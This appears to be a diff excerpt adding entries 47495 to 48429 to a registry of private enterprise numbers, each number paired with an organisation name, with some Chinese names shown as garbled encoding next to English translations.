+47495 alfaleasing
+47496 Binary Kitchen e.V.
+47497 KIZIL Elektronik
+47498 Dirk Rossmann GmbH
+47499 Beijing NewDigit Technology Co., Ltd.
+47500 PB Design & Developments Limited
+47501 Hargreaves Lansdown Plc
+47502 Hiawatha Valley Education District
+47503 Ralph Lauren Center for Cancer Care
+47504 Zellkraftwerk GmbH
+47505 Numonix
+47506 AOSense, Inc.
+47507 CT LAB
+47508 Incosys SAS
+47509 Herz Group
+47510 Signifai, Inc
+47511 GPC Asia Pacific
+47512 linuxmuster.net e.V.
+47513 venetex corporation
+47514 RAK SYSTEM CO,;LTD
+47515 Spectrum Controls, Inc.
+47516 Certego s.r.l.
+47517 Nekomit
+47518 Openflexo
+47519 Fincons SpA
+47520 NES Technology Inc
+47521 S+T Service & Technique S.A.
+47522 BTECO LIMITED
+47523 VDE Prüf- und Zertifizierungsinstitut GmbH
+47524 Rubicon Labs, Inc.
+47525 Wuliang
+47526 A. Farber & Partners Inc.
+47527 Charbonnier
+47528 Softhum
+47529 NATIONAL BANK OF GREECE
+47530 Softwaretechnik Ges.m.b.H.
+47531 Analytik Jena AG
+47532 Arhides d.o.o.
+47533 Balyasny Asset management L.P.
+47534 AutoAlert
+47535 Autoridad Certificante de la Oficina Nacional de Tecnologías de Información
+47536 PJSC "Sumykhimprom"
+47537 SATT PACA Corse
+47538 knoefel.xyz
+47539 Greendoc Systems Kft.
+47540 QuadraNet, Inc
+47541 Admino LLC
+47542 Tianyi iMusic culture & technology Co. Ltd.
+47543 MWR InfoSecurity
+47544 JTKJ.com
+47545 Jingtong Technology Co. Ltd.
+47546 HANGZHOU CHANGER TECHNOLOGY.,LTD
+47547 Takta Co.
+47548 Tvip Ltd
+47549 iniLINE Co., Ltd.
+47550 AVENTICS GmbH
+47551 USGS National Wildlife Health Center
+47552 Marcone Supply
+47553 Hochschule Koblenz
+47554 Total Highspeed
+47555 EA Games FireMonkeys
+47556 Barrcode Ltd
+47557 Hangzhou Telin Technologies Company limited
+47558 Communications & Power Industries, Satcom Division
+47559 Crypto-Pro
+47560 Westinghouse Electric Sweden AB
+47561 System-on-Chip engineering (SoC-e)
+47562 Chengdu Emfuture Automation Engineering Co., Ltd
+47563 Falcon Critical Care Transport
+47564 Permian Resources, LLC
+47565 Forcepoint LLC
+47566 Uniper SE
+47567 Seifert Logistics GmbH
+47568 Pantel International
+47569 FIAMM SoNick S.A.
+47570 Ennnot
+47571 Glowpoint
+47572 University of Keele
+47573 McFarland Clinic
+47574 City of Harker Heights
+47575 AUTEC Gesellschaft fuer Automationstechnik mbH
+47576 CapSenze Biosystems AB
+47577 Newell Rubbermaid
+47578 Vantiv Inc
+47579 Open Software S.r.l.
+47580 Liechtensteinische Landesverwaltung
+47581 Styevko Attila
+47582 Timothy Boronczyk
+47583 Gentrack
+47584 Hirealton network technology co., LTD
+47585 上海兆越通讯技术有é™å…¬å¸ (Shanghai Communication Technology Co., Ltd. trillion more)
+47586 Alfing Kessler Sondermaschinen GmbH
+47587 Rack2Cloud Limited
+47588 StatPro Group Plc.
+47589 Route443 LLP
+47590 iik
+47591 aidounix
+47592 NJATECH
+47593 Shenzhen Electrical Co.
+47594 Allwaywin Co., Ltd
+47595 cluster
+47596 INSS
+47597 christmann informationstechnik + medien GmbH & Co. KG
+47598 Weiss Klimatechnik GmbH
+47599 Changzhou Wisdom Intelligent Technology CO.,LTD.
+47600 LLC "Commercial Bank" Bank Talmenka "
+47601 Novo Nordisk A/S
+47602 pandoranorge
+47603 eClinicalWorks
+47604 OOO NPP ETRA-Plus (Ltd, Research and Production Enterprise)
+47605 OOO BALTSTAR
+47606 ocuro
+47607 Lopez Foods, Inc.
+47608 WIRTGEN GROUP Holding GmbH
+47609 Escola Nacional de Administração Pública (Enap)
+47610 Bitwiseshift Ltd.
+47611 CENAPAD
+47612 Gurtsoft
+47613 Esbjerg Kommune
+47614 Pranas.NET
+47615 WRELMS Networking
+47616 HangZhou AOBO TELECOM Corp
+47617 NTSystems
+47618 SEFIRA spol. s r.o.
+47619 D&K Technologies GmbH
+47620 DOMIS/SOMFY
+47621 RiverWeb IT Solutions
+47622 nicos Research & Development GmbH
+47623 schaetz cro
+47624 Sysdat Turismo s.r.l.
+47625 Gekås Ullared AB
+47626 Datelstream Limited
+47627 kapptivate
+47628 krauth technology GmbH
+47629 AAEON Technology Inc.
+47630 Ontario English Catholic Teachers Association
+47631 University of South Alabama
+47632 HC APMC ONCOLOGY
+47633 International Airlines Group
+47634 Blue Labs
+47635 Skogsutveckling Syd AB
+47636 Stora Enso Bioenergi AB
+47637 gehrigmobi
+47638 Crescend Technologies
+47639 KpXX
+47640 Tangible Security Inc
+47641 gruenewald-clan.de
+47642 Istituto Clinico Città Studi
+47643 Asahi Net, Inc.
+47644 Robin Systems
+47645 Harman Intl.
+47646 Beijing Qianxin Technology Co., LTD.
+47647 barox Kommunikation
+47648 Aireon LLC
+47649 World Economic Forum
+47650 Arkin Net Inc.
+47651 Accessnord AB
+47652 D.C.Orbital LLC
+47653 Lanbowan Technology Ltd.
+47654 News India Today Trust
+47655 Nufront co.ltd
+47656 Conval, Inc.
+47657 Shanghai Golden Bridge InfoTech Co.,Ltd
+47658 ZITH
+47659 Actions-Micro
+47660 Cookpad Inc.
+47661 H&K International
+47662 weroSoft AG
+47663 Baruwa Enterprise Edition
+47664 IP Rozduhov M.E.
+47665 InformInvestGroup
+47666 Qualica Technologies (Pty) Ltd
+47667 Init AB
+47668 Agência para a Modernização Administrativa, I.P. (AMA)
+47669 IHI Charging Systems International GmbH
+47670 Hitachi, Ltd., Defense Systems Business Unit
+47671 Intra
+47672 findsolutions
+47673 IHI Charging Systems International Germany GmbH
+47674 University POLITEHNICA of Bucharest
+47675 IHI Charging Systems International Sp A
+47676 Social Native
+47677 Point of Presence Technologies
+47678 Intuity Consultants, Inc.
+47679 DigitalX
+47680 Weimann - IT Consulting
+47681 Endeavor Air, Inc.
+47682 Rocket Lab Ltd.
+47683 Michael Schubert GbR
+47684 Babcock Power
+47685 SimuOne ApS
+47686 Switzerland Global Enterprise
+47687 Filetress
+47688 Itential
+47689 Chop-Chop Sp. z o.o.
+47690 Linton Enterprise I (LEI)
+47691 Krogh-Consult
+47692 Tribunal Supremo de Elecciones de Costa Rica
+47693 Monroe Tool and Manufacturing
+47694 CANATAL
+47695 McKesson Corporation
+47696 MedicusTek Inc
+47697 Nanjing Tian Hua Zhong An Communication Technology CO.LTD
+47698 aroba Inc.
+47699 Avon Products Inc
+47700 Systrome Networks
+47701 BDO Audit SRL
+47702 SECLAB
+47703 cadilinea, slu
+47704 BEIT Systemhaus GmbH
+47705 Norra Skogsägarna Ek För
+47706 Silion Technology Co., Ltd
+47707 Zynx
+47708 Di-Nikko Engineering Co.,Ltd.
+47709 GE Healthcare on behalf of ACRIM hospital
+47710 RIBS - Registration and Imaging of Brain Systems
+47711 KECK MEDICINE OF USC
+47712 Treegital
+47713 Charlieuniformtango
+47714 qsx
+47715 EZTrader
+47716 Devdot B.V.
+47717 OrbiWise SA
+47718 Zetes
+47719 Videology
+47720 LAWO Informationssysteme GmbH
+47721 Avaleris
+47722 Hansoft AB
+47723 Michigan Open Carry, Inc.
+47724 Cuyahoga County
+47725 Konke Online
+47726 Slots Machines S.A.
+47727 Assistance Publique des Hôpitaux de Paris
+47728 Tobias Buchloh
+47729 Niagara Networks Inc
+47730 République et Canton du Jura
+47731 Leidos, Inc.
+47732 Kopano B.V.
+47733 Beijing Lehe Innovation Information Technology Co.,Ltd.
+47734 Nomura Holdings, Inc.
+47735 Toyam Cox
+47736 L2M Solutions doo
+47737 BLUETOWN
+47738 MilDef AB
+47739 Fam.Andersson Skog AB
+47740 Holmen Skog AB
+47741 Vista Group Limited (formerly 'Vista Entertainment Solutions')
+47742 V-Key Pte Ltd
+47743 Atelios Communication Systems GmbH
+47744 Tomra ASA
+47745 Monmouth Hematology Oncology
+47746 Celgene
+47747 Oakwood Controls
+47748 Rubricall, SL
+47749 GemTalk Systems
+47750 Bring Dialog Norge AS
+47751 Mattersight Corporation
+47752 Lycee Louis Armand
+47753 Aperi Corporation
+47754 Core Services Corporation
+47755 OpenRat CMS
+47756 Global Oncology, Inc
+47757 Bariq Electronics
+47758 Służba Więzienna
+47759 Sociedade Educacional Braz Cubas Ltda
+47760 County of El Dorado
+47761 Wishnmix Ltd
+47762 Section9
+47763 OfficeFlex LLC
+47764 Elektrownia Rybnik
+47765 DOC.INFOSAFE (ISRAEL) LTD
+47766 MACNICA FUJI ELECTRONICS HOLDINGS, INC.
+47767 ASH Szoftverhaz Kft
+47768 Aristech GmbH
+47769 Armour Communications Limited
+47770 ESG BIRO DE SERVICOS S/S LIMITADA - ME
+47771 Colorado School of Mines
+47772 Clear Axess SAGL
+47773 Radeus Labs
+47774 Microsoft Small Basic
+47775 Ernst Basler + Partner AG
+47776 TS Gateway Ltd
+47777 Fachschaftsvertretung der Fakultät für Informatik und Mathematik, Universität Passau
+47778 Cox Communications Inc. - Atlanta Technology
+47779 TaiHao Medical
+47780 Prosoft Kroměříž s.r.o.
+47781 National Western Life Insurance
+47782 Nautile Software
+47783 codia Software GmbH
+47784 Suncoast Cancer Institute
+47785 mBank S.A.
+47786 5BARz India Private Limited
+47787 MuseumsIT
+47788 Prismaflex International
+47789 OAO MNIIPI OKOSZ "MOSPROEKT-4"
+47790 ASYS Automatic Systems GmbH & Co. KG
+47791 Rayed Alrashed
+47792 Pew Research Center
+47793 Scripps Networks Interactive
+47794 Arizona Center for Hematology and Oncology, LLC
+47795 Tegsoft
+47796 Architecting.nl
+47797 Yellowbrick Data, Inc
+47798 CNI
+47799 Verody, LLC
+47800 Waiariki Bay of Plenty Polytechnic
+47801 CloudSeeds GmbH
+47802 CTSI Limited
+47803 Urban Renaissance Agency
+47804 Bravowhale Information Technology Ltd
+47805 Shenzhen Grentech RF Communication Limited
+47806 Trussan Co., Ltd
+47807 DSRI "Volna", OJSC
+47808 Delaware County Community College
+47809 Centerline Biomedical, Inc.
+47810 LINAGORA TUNISIE
+47811 Pavilion Data Systems Inc
+47812 AZ Elektro AG
+47813 Luetze Transportation GmbH
+47814 ChinaUnicom
+47815 Stora Enso Skog AB
+47816 Joseph Studio
+47817 HAWE Hydraulik SE
+47818 Salzburg AG
+47819 NTT DATA Italia
+47820 Böco Böddecker & Co. GmbH & Co. KG
+47821 Sjova-Almennar tryggingar hf
+47822 NdT Web Services
+47823 Couch Red
+47824 Exprivia Telco & Media srl
+47825 Ravel Electronics Pvt Ltd
+47826 Bristows LLP
+47827 Moogsoft
+47828 Lincoln Oncology, LLC
+47829 Fornetix
+47830 MovingStar Corporation
+47831 Robert Half Inc.
+47832 NBCUniversal
+47833 Teleworks Co., Ltd.
+47834 OOO NPP "POLUS"
+47835 ARCHIVECO
+47836 Bernd Matusche
+47837 Produban Global Services
+47838 onether.net
+47839 Landesarchiv Nordrhein-Westfalen
+47840 alzahra university
+47841 Comita Group of companies
+47842 Identity Tech Solutions, LLC
+47843 广州易速计算机设备有é™å…¬å¸ (Guangzhou-speed computer equipment Ltd.)
+47844 ELEET Networks
+47845 Netz39 e.V.
+47846 BCausE Enterprise Private Limited
+47847 Informatikdienste, Stadt Bern
+47848 SYNERGY SYSTEMS AND SOLUTIONS
+47849 RealSprint AB
+47850 Cathexis Technologies (PTY) LTD
+47851 Arest Inc.
+47852 throwstone
+47853 Key Performance Consulting
+47854 Abakusz Computer Services
+47855 Rumo Logística
+47856 Geo++ GmbH
+47857 Juice Goose
+47858 ENDICOTT PRECISION
+47859 KEO GmbH
+47860 Thalia Bücher GmbH
+47861 The Berkeley Carroll School
+47862 almanid group GmbH
+47863 Ing.-Büro Sigmund Gassner
+47864 Futureweb OG
+47865 PT. Sinergi Teknologi Utama
+47866 Deniz Sezer
+47867 nadansys
+47868 Luigi D'Ambrosio
+47869 Nykvist Skogs AB
+47870 thovel Thomas Velthoven
+47871 RadioFrequencyExpert srl
+47872 BANK-now AG
+47873 SURIX SRL
+47874 County of Sacramento
+47875 Solebit Labs
+47876 Shanghai Real Communication Technology Co., Ltd.
+47877 LÖWEN Entertainment GmbH
+47878 pretty Easy privacy foundation
+47879 Skogsägarna Norrskog
+47880 Wildom Ltd.
+47881 B.P. Konstantinov Petersburg Nuclear Physics Institute
+47882 TechAssist
+47883 sst-net.de
+47884 ISIMA
+47885 SWDC RTSoft, OOO
+47886 Intelligent Automation, Inc.
+47887 Keramikmanufaktur Bruckner eG
+47888 Freifunk - Verein zur Förderung des freien Internets
+47889 Traffic and Parking Control Co., Inc.
+47890 QSight Ltd
+47891 Sea Tel
+47892 Cosmic Engineering Inc.
+47893 NEW SUNRISE CO.,LTD.
+47894 phoenixcompany
+47895 æ­å·žäº‘éœç§‘技有é™å…¬å¸ (Hangzhou Yun Ji Technology Co., Ltd.)
+47896 System Infra Solutions Pvt. Ltd.
+47897 SmartGen
+47898 Centrul de Calcul S.A.
+47899 École Supérieure des Arts Saint-Luc Liège
+47900 Södra Skogsägarna Ekonomisk Förening
+47901 Hypixel, Inc
+47902 Ralphie T
+47903 RAC Motoring Services
+47904 Ricola AG
+47905 OBS/OCB Cloudwatt
+47906 ninjap
+47907 HAMBURG WASSER
+47908 Consulting Company Informatica SC Ltda
+47909 Bossa Nova Robotics
+47910 Orbitel
+47911 TOC S.A.
+47912 Radio Rentals Ltd
+47913 uczen
+47914 geoint.org
+47915 CAAGIS
+47916 ioTRAN Corp.
+47917 Urban Search & Rescue Austria (U.S.A.R. Austria)
+47918 Lauren Pullen
+47919 dsi
+47920 PropertyGuru Pte. Ltd.
+47921 One Nine One Computer
+47922 NetPilot Internet Security Ltd.
+47923 Sentia B.V.
+47924 mergedK GmbH
+47925 Cima S.p.A.
+47926 Mitchell Farrar Holdings LTD
+47927 Tenet Healthcare
+47928 Fortifydata
+47929 Edwards Lifesciences LLC
+47930 Mansoft
+47931 ExteNet Systems, Inc.
+47932 Andrino
+47933 Terma A/S
+47934 World Privacy and Identity Association (WPIA)
+47935 tiri GmbH
+47936 HansBeerman B.V.
+47937 Ophir Energy PLC
+47938 Alloy Software, Inc.
+47939 Audio Export GmbH
+47940 clAIRvision Corporation
+47941 Mendix B.V.
+47942 Tachyons .NET
+47943 Oesterreichischer Mantrailing Verband - Mantrailing Austria
+47944 Center for International Private Enterprise
+47945 Fukoku Matual Life Insurance Company
+47946 OOO "Eko Paper"
+47947 Hoermann GmbH
+47948 Systemtechnik LEBER GmbH & Co. KG
+47949 SYMACORP
+47950 Balkantel Ltd.
+47951 Foundation for Trusted Identity
+47952 NETIO products a.s.
+47953 D11
+47954 Punkt Creative LLC
+47955 Max Planck Institute for the Physics of Complex Systems
+47956 KAV Danubia
+47957 Equiis Technologies Inc.
+47958 Cloud Cantábrico Siglo XXI, S.L.U
+47959 Snapchat, Inc.
+47960 Hartmann GmbH
+47961 Gerhard D. Wempe KG - Division Chronometerwerke
+47962 Ezam Automotive Parts
+47963 Schwyzer Kantonalbank
+47964 Landkreis Oberhavel
+47965 Dedicated Computing LLC
+47966 NooBaa
+47967 IT-Consulting Mario Bergmann
+47968 KOMSET-servis LLC
+47969 Mills College
+47970 Neulinger Consulting
+47971 Martin Sprocket and Gear, Inc.
+47972 Sam Yaple
+47973 Servosity Inc
+47974 WANSecurity, Inc.
+47975 kezhi-controls
+47976 gematik Gesellschaft für Telematikanwendungen der Gesundheitskarte mbH
+47977 Tivaci Corporation
+47978 ALPEIN Software SWISS AG
+47979 BG Klinikum Hamburg gGmbH
+47980 Jernbaneverket
+47981 Prowise B.V.
+47982 6PM PLC
+47983 Hanseatic Bank
+47984 Atos IT Solutions and Services AG
+47985 IDnomic
+47986 Green Communications
+47987 Eraldo Gandini
+47988 PDS s.r.o.
+47989 Software Workers srl
+47990 Juergen M. Bruckner
+47991 shadowhunt
+47992 Gettysburg Cancer Center
+47993 Brazen Technologies
+47994 bba solutions
+47995 American University
+47996 DataBoost LLC
+47997 Securilytics, LLC
+47998 DASSAULT FALCON SERVICE
+47999 Port of Portland
+48000 Steelwedge Software
+48001 OOOGLEEE, INC.
+48002 schoeller network control Datenverarbeitung GmbH
+48003 Fast S.p.A.
+48004 Digifort - IP Surveillance System
+48005 ZyCast Technology Inc.
+48006 Nandex, Inc
+48007 Netskope
+48008 BfG Eigentümer/-innen- und Verwaltungsgenossenschaft eG
+48009 AÇÃO EDUCACIONAL CLARETIANA
+48010 Howard & Howard
+48011 SparkStone Ltd
+48012 COWE Co., Ltd.
+48013 Strauss and Strauss Consultants (Pty) Ltd.
+48014 SCAI Connect
+48015 IT GÃ¥rden i Landskrona AB
+48016 MELASZ
+48017 Syamsul Mobile
+48018 Today Technology Co., Ltd.
+48019 InMobi Pte Ltd
+48020 Shanghai Chenrui Communication Technology Company
+48021 THE ROBERTO GIORI COMPANY LTD
+48022 Norges Geotekniske Institutt
+48023 Latvian Institute of Organic Synthesis
+48024 Paradise Network Enterprises
+48025 Lyonel Serradura
+48026 Oostec BV
+48027 PKB RIO Ltd
+48028 VS Web Labs
+48029 High-Galaxy,HGANS
+48030 Pesticide Software
+48031 GLOBAL 2000
+48032 Västra Värmland och Dals skogsägareförening
+48033 Aktiebolaget Hilmer Andersson
+48034 Bukalapak
+48035 Copperchase Limited
+48036 ALHUE-TEC LTDA
+48037 SHENZHEN UTEPO TECH CO., LTD
+48038 ONF ENERGIE
+48039 PIRIOS S.A.
+48040 Radium s.r.o
+48041 Technica Del Arte BV
+48042 Geomant
+48043 DENSO International America
+48044 Tri-Valley Oncology
+48045 Inpro Telecom S.A. de C.V.
+48046 Arcadis NV
+48047 DDESK LLC
+48048 Levene SÃ¥g AB
+48049 NEW Service GmbH
+48050 International Personal Finance
+48051 Sato America
+48052 Milpowerinc
+48053 Mazatal Hotel and Casino
+48054 SunGard Data Systems
+48055 sendhybrid GmbH
+48056 Jeremy Gibbons
+48057 Kronos Technologies
+48058 SouthEast Texas Regional Advisory Council
+48059 Karlsruhe Institute of Technology (KIT)
+48060 SecureMe2
+48061 Byte Expert B.V.
+48062 Territorial Generation Company 14
+48063 Anna Jaques Cancer Center
+48064 Grupo MSA S.A.
+48065 Talentnet Corporation
+48066 Linkforce Engineering
+48067 UnifyID, Inc.
+48068 CSE Transtel
+48069 Demmich IT Service
+48070 Patrick Lesky
+48071 Retarus GmbH
+48072 Optanix
+48073 Pentest Limited
+48074 Cube-Tec International GmbH
+48075 Tennessee Plateau Oncology
+48076 NexGen Inc
+48077 State University of Feira de Santana
+48078 Ventura County Hematology Oncology Specialists
+48079 NEC Enterprise Communication Technologies
+48080 Mimetrix Design Group
+48081 Max Planck Institute for Plant Breeding Research
+48082 Stromnetz Hamburg GmbH
+48083 AIRESERVICES
+48084 Stewart Investors
+48085 RCCA COMMUNITY HEMATOLOGY ONOCOLGY
+48086 Helicon Opleidingen
+48087 Troup County School System
+48088 Instituto Superior de Economia e Gestão
+48089 Rådgivende Ingeniør Per Dypvik AS
+48090 Nord/LB Luxembourg S.A. Covered Bond Bank
+48091 Sicss Society
+48092 qi2
+48093 Aptomar AS
+48094 White Star Petroleum
+48095 Stadler Pankow GmbH
+48096 jedernet GmbH
+48097 RAYAPHONE
+48098 EBPI BV
+48099 Redgate Software
+48100 Orca Technologies
+48101 Systech International
+48102 DARTY
+48103 Executive Weather Corporation
+48104 example.cz
+48105 Sky Puzzle Ltd.
+48106 Skami Programming
+48107 Equidome
+48108 9DOT
+48109 WishCert
+48110 Universite de Rouen Normandie
+48111 AMD Distribution sp.z o.o.
+48112 AZCOM Technology s.r.l.
+48113 Rabian Inc.
+48114 Solutionbase Ltd
+48115 Gallagher Group Limited
+48116 VšĮ Kauno Šilainių poliklinika
+48117 Scheidt & Bachmann GmbH
+48118 Pyro Telecom Solutions Pvt Ltd
+48119 Scangaule
+48120 Digipolis CVBA
+48121 njhd
+48122 Millennium Physician Group
+48123 Paradise Valley Community College
+48124 MagicMonster Limited
+48125 Exodus Intelligence
+48126 Energostat Co., Ltd
+48127 salesforce.com, inc.
+48128 Distributed Data Systems Ltd.
+48129 simplicityEngine Inc.
+48130 Batscan / PL Trading AB
+48131 "DEP Company" Ltd.
+48132 Sparebanken Vest
+48133 McCullough-Solutions.NET
+48134 8438757 Canada Inc D.B.A. Multifactor.net
+48135 MOPIENS, Inc.
+48136 GitLab
+48137 Billi Pty Ltd
+48138 BillerudKorsnäs Skog & Industri AB
+48139 Krogle
+48140 mBank Hipoteczny SA
+48141 first frame networkers ag
+48142 Digiton Systems LLC
+48143 Aurum Europe B.V.
+48144 Synermed Soluciones Medicas
+48145 SNS Bank NV
+48146 FlyCAA
+48147 The Warehouse Group Limited
+48148 Taos
+48149 CybLab Ltd
+48150 simus systems GmbH
+48151 Laryio
+48152 WishCert Co.
+48153 xgp.ch
+48154 XMW
+48155 Wuhan FiberHome International Technologies Co., LTD
+48156 Hypertech Solutions Pty Ltd
+48157 CIBRED SUD s.r.l.
+48158 cedric ltd
+48159 NHS Property Services Ltd
+48160 Stichting Regionale Radio Noord
+48161 TUI AG
+48162 Torchmark Corporation
+48163 abahlali
+48164 my-PV GmbH
+48165 1stPoint Communications, LLC
+48166 Bayerische Staatsbibliothek
+48167 Dr. Mohtaseb Cancer Center and Blood Disorders
+48168 SCPTime
+48169 Bumps to Babes
+48170 Avaya Atlanta Lab
+48171 Health Catalyst
+48172 Speed Roam PTE LTD
+48173 Careum AG Bildungszentrum für Gesundheitsberufe
+48174 Italian Pastafarian Church
+48175 Astronix Data Security Solutions
+48176 InnoEye LLC
+48177 ZIGGO
+48178 Contargo GmbH & Co. KG
+48179 Andreas Heigl
+48180 Nial
+48181 pSenso sp. z o.o.
+48182 Terberg Group B.V.
+48183 Phegda Technology Co.,Ltd.
+48184 Nanning OMARA Tech .inc
+48185 NeuLion, LLC
+48186 Innere Mission München e.V
+48187 Nanjing Balance Network technology Co., Ltd
+48188 Delta Solutions LLC
+48189 SPRUT Technology Ltd
+48190 mcccxxxvii.net
+48191 Praten
+48192 SEPPmail AG
+48193 University of Pittsburgh Medical Center
+48194 Alltec GmbH
+48195 SISDEF Ltda.
+48196 Horvoje.net
+48197 TECNIARK S.A.
+48198 cryptofreek.org
+48199 mVISE AG
+48200 LumenVox
+48201 CyberHound
+48202 Vekomy Technologies
+48203 Obstreperus
+48204 Eisenmann SE
+48205 COLO21 AG
+48206 SRC Incorporated
+48207 University of Hull
+48208 Axilspot Communication CO.,Ltd
+48209 AB Karl Hedin SÃ¥gverk RÃ¥vara
+48210 AB Karl Hedin Sågverk Biobränsle
+48211 Derome Skog AB
+48212 Frödinge Skog AB
+48213 COC AG
+48214 Master Class Corp
+48215 American Heart Association
+48216 RADIANTECH, INC.
+48217 codemanufaktur GmbH
+48218 Government of Manitoba
+48219 Jackson Hewitt Tax Service Inc.
+48220 TPAX.EU UG (haftungsbeschraenkt)
+48221 Flopsar Technology
+48222 Micro 100 Tool Corp
+48223 Rauland-Borg Corporation
+48224 QIT Systeme GmbH & Co. KG
+48225 Summonte
+48226 Sandåsa Timber AB
+48227 AB Tutor
+48228 LLC "Tecon MT"
+48229 Platina Systems, Inc.
+48230 Montefiore Medicine
+48231 Alvernia University
+48232 Platinum Home Mortgage Corporation
+48233 IceMobile Agency BV
+48234 Netronics Technologies Inc.
+48235 LinkXess GmbH
+48236 Zschimmer & Schwarz GmbH & Co KG
+48237 SOFTEL Corp.
+48238 Optima Tours GmbH
+48239 Non-public JSC "Krasnaya polyana"
+48240 senselan gmbh
+48241 Neptune and Company, Inc.
+48242 Serban Nistor
+48243 Mindit Services
+48244 Quantic Vision, S.A.
+48245 Atlas Air
+48246 Mission Microwave Technologies, Inc
+48247 CENTRAL PARK HEMATOLOGY & ONCOLOGY, P.C.
+48248 innoTel Pty Ltd
+48249 Rohe Automation
+48250 中国广东çœæ·±åœ³å¸‚核达中远通电æºæŠ€æœ¯æœ‰é™å…¬å¸ (Shenzhen City, Guangdong Province, China COSCO through Nuclear Power Technology Co., Ltd.)
+48251 Liskl Networks, Inc
+48252 Ecole CentraleSupelec
+48253 OpusV
+48254 Shaanxi XinTong Intelligent Technology Co., Ltd.
+48255 DiaSys Diagnostic Systems GmbH
+48256 NISHANT.BIZ
+48257 Comoretel
+48258 SourceClear
+48259 R+V Allgemeine Versicherung AG
+48260 Guangzhou iplook network technologies Co.,Ltd.
+48261 Callison Networking Company
+48262 Tricentis GmbH
+48263 Noble Markets, LLC
+48264 Mairie de Saint-Maur-des-Fossés
+48265 Assembly Data System S.p.a.
+48266 Mainmetall GmbH & Co. KG
+48267 Phexonite
+48268 c13 LLC
+48269 Info-Tech Research Group
+48270 MiroNet AG
+48271 AITelecom S.A. de C.V.
+48272 Examination Management Services, Inc.
+48273 Computer Health
+48274 Saxion University of Applied Sciences
+48275 SingularIT Solutions
+48276 BNP Paribas Fortis SA (Belgian UEN: 0403.199.702)
+48277 Topway Network Engineering Co., Ltd.
+48278 Twowing Technologies
+48279 Institut für Steuerungstechnik der Werkzeugmaschinen und Fertigungseinrichtungen, Universität Stuttgart
+48280 R-Platforma LLC
+48281 Khipu
+48282 The Situs Companies
+48283 ZI-Argus
+48284 in2ip BV
+48285 Mary Street Wellness
+48286 NewsUK
+48287 中电和瑞科技有é™å…¬å¸ (China Electronics Harvest Technology Co., Ltd.)
+48288 Health-net 2020 GmbH
+48289 Connect2 Systems Limited
+48290 Óbuda University
+48291 CTOUCH Europe B.V.
+48292 Michigan Education Association
+48293 Utica College
+48294 Personal Genome Diagnostics, Inc.
+48295 UNess Smart Home and Living
+48296 Montgomery Blair High School
+48297 Chillout
+48298 Health Choice Management Company
+48299 Koninklijke Nederlandse Dambond
+48300 ComSource s.r.o.
+48301 NathanNet
+48302 Big Neptune
+48303 0x0f
+48304 American Financial Group Inc
+48305 APRA-OPTINET Sp. z o. o.
+48306 Gentofte Kommune
+48307 Continental Electronics
+48308 Argeo GmbH
+48309 Fuji IT Co.,Ltd.
+48310 BLOBFISH E.I.R.L.
+48311 Northcloak Corporation
+48312 Avid Integration Technologies
+48313 Not for Radio, LLC
+48314 ESA Elektroschaltanlagen Grimma GmbH
+48315 Documenta S.A.
+48316 Berliner Verkehrsbetriebe
+48317 PedFast Technologies
+48318 Beijing NationSky Network Technology Co., Ltd
+48319 911 Datamaster, Inc.
+48320 Xhesi
+48321 Metroswitch Technologies, Inc.
+48322 Surfilter Network Technology Co.,Ltd
+48323 Altaire Ltd
+48324 2test
+48325 Tesco Europe
+48326 Vänerbränsle AB
+48327 Johnson Controls Inc.
+48328 Veritas Technologies LLC
+48329 OJSC "MINSK TRACTOR WORKS"
+48330 Nationalmuseet
+48331 SKTB "SKiT"
+48332 Callans Trä AB
+48333 Koolsign Co., LTD
+48334 Bank of the South
+48335 RealPage, Inc.
+48336 Abrumet
+48337 TD Avidis LLC
+48338 Orion Power Systems
+48339 Seldiame Software
+48340 Public Sector Pension Investment Board
+48341 DevLounge
+48342 Ransnet Singapore Pte Ltd
+48343 Industrial Bank of Kuwait
+48344 SHW Automotive GmbH
+48345 IP-Lease BV
+48346 Elan Audio
+48347 OHB System AG
+48348 Medcomsoft Ltd.
+48349 The Scale Factory Ltd
+48350 Serco, Inc.
+48351 Beijing Coconet Corporation
+48352 Levantis AG
+48353 Neosecure S.A
+48354 Qiy Foundation
+48355 General Motors
+48356 Salerno Data LLC
+48357 Skogsägarna Mellanskog Ek För
+48358 Hobbylook
+48359 Infosec (T) LTD
+48360 Sakura City
+48361 Kpnetworks Ltd.
+48362 IndraStra Global
+48363 ResoNetz Airfolc Inc.
+48364 SNAL
+48365 QWERTY Concepts Inc
+48366 DriveScale, Inc.
+48367 GOTrust Technology Inc.
+48368 Beijing Zrinc Technologies Co., Ltd.
+48369 Falcon Technologies LTD
+48370 NMB PLC
+48371 Long-Distance Communication Branch
+48372 MicroStep - HDO s.r.o.
+48373 Kamago
+48374 Polarteknik Oy
+48375 Igepa Paper Hungary Kft.
+48376 MimerCon
+48377 Linefactory
+48378 Zwise s.a.
+48379 Camelot Global
+48380 Newbridge Technologies Int. Ltd.
+48381 BLS AG
+48382 Case Tecnologia Ltda
+48383 McKinsey & Company
+48384 STAPRO SLOVENSKO s.r.o.
+48385 Audax Electronics Corporation
+48386 MJ Technical Solutions, LLC
+48387 Japan Airlines Co.,Ltd.
+48388 EIDISTA
+48389 TakumiVision Co.,LTD.
+48390 Bottomline Technologies
+48391 photicsensing
+48392 FilmLight Ltd
+48393 Sdx Lab Sdn. Bhd. (formerly 'SDxLab')
+48394 br.Svensson Skog AB
+48395 Qimtronics
+48396 Sood sales
+48397 Joma-Polytec GmbH
+48398 Paranoidlabs
+48399 Kassenaerztliche Vereinigung Sachsen
+48400 Bjernareds SÃ¥gverk AB
+48401 AJ Vaccines
+48402 Konica Minolta Business Solutions Czech, spol. s r.o.
+48403 PEQ Services
+48404 Korbank S.A.
+48405 Orbiss Ltd
+48406 swisspro Solutions AG
+48407 Open Applications Ltd
+48408 Flint International Limited
+48409 SHENZHEN PHOTON BROADBAND TECHNOLOGY CO., LTD
+48410 COLEGIO ESTADUAL EURICO BATISTA ROSAS
+48411 AB Maa SÃ¥g
+48412 CCEE
+48413 NSF International
+48414 Line34 Telefonia e Computação
+48415 IBM (group CloudMatrix)
+48416 Bell Canada
+48417 GLCMI Internal Shared Services
+48418 ANF AC United Kingdom, LTD.
+48419 Marcia Slosson, MS, LAC, MAC
+48420 Meraskog i Jämtland AB
+48421 Hematology Oncology Associates of Central New York
+48422 Tech Futures Interactive Inc.
+48423 Cedar Gate Technology
+48424 Insatech A/S
+48425 isboom.com
+48426 Lambda Tech Ltd
+48427 Budget Insight
+48428 MFA Russia
+48429 BELADACI CONSULTING, LLC
